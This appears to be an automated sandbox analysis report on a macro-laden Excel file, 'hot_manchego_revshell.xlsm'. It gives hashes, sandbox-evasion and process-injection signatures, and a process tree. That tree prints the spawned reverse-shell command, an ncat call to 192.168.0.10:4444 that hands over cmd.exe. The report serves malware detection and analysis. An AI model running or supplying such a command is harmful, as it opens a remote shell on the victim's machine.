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Analysis
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max time kernel
102s -
max time network
136s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
09/10/2022, 20:31
Static task
static1
Behavioral task
behavioral1
Sample
hot_manchego_revshell.xlsm
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
hot_manchego_revshell.xlsm
Resource
win10v2004-20220901-en
General
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Target
hot_manchego_revshell.xlsm
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Size
3KB
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MD5
62ce212e91b2c0dcb5d0c190ed0489c0
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SHA1
5ca2c21016fce83481cd987ca9ce52de906e6de1
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SHA256
d432ad560b6be9543e26db61030b256fe51c72be4c2b4ef8c4656f97dfadc5c5
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SHA512
ff105688cfb2301bd42e50ed223176ce7676474fa53327d5e1aa3a1e653972120cd5e6d65be43e239f4722752e7e5c6a4dddd830f9a969ac47e10486b3d0ea98
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4040 5080 cmd.exe 80 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 5080 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 5080 EXCEL.EXE 5080 EXCEL.EXE 5080 EXCEL.EXE 5080 EXCEL.EXE 5080 EXCEL.EXE 5080 EXCEL.EXE 5080 EXCEL.EXE 5080 EXCEL.EXE 5080 EXCEL.EXE 5080 EXCEL.EXE 5080 EXCEL.EXE 5080 EXCEL.EXE 5080 EXCEL.EXE 5080 EXCEL.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5080 wrote to memory of 4040 5080 EXCEL.EXE 85 PID 5080 wrote to memory of 4040 5080 EXCEL.EXE 85
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\hot_manchego_revshell.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5080 -
C:\Windows\SYSTEM32\cmd.execmd.exe /c ncat 192.168.0.10 4444 -e C:\Windows\System32\cmd.exe2⤵
- Process spawned unexpected child process
PID:4040
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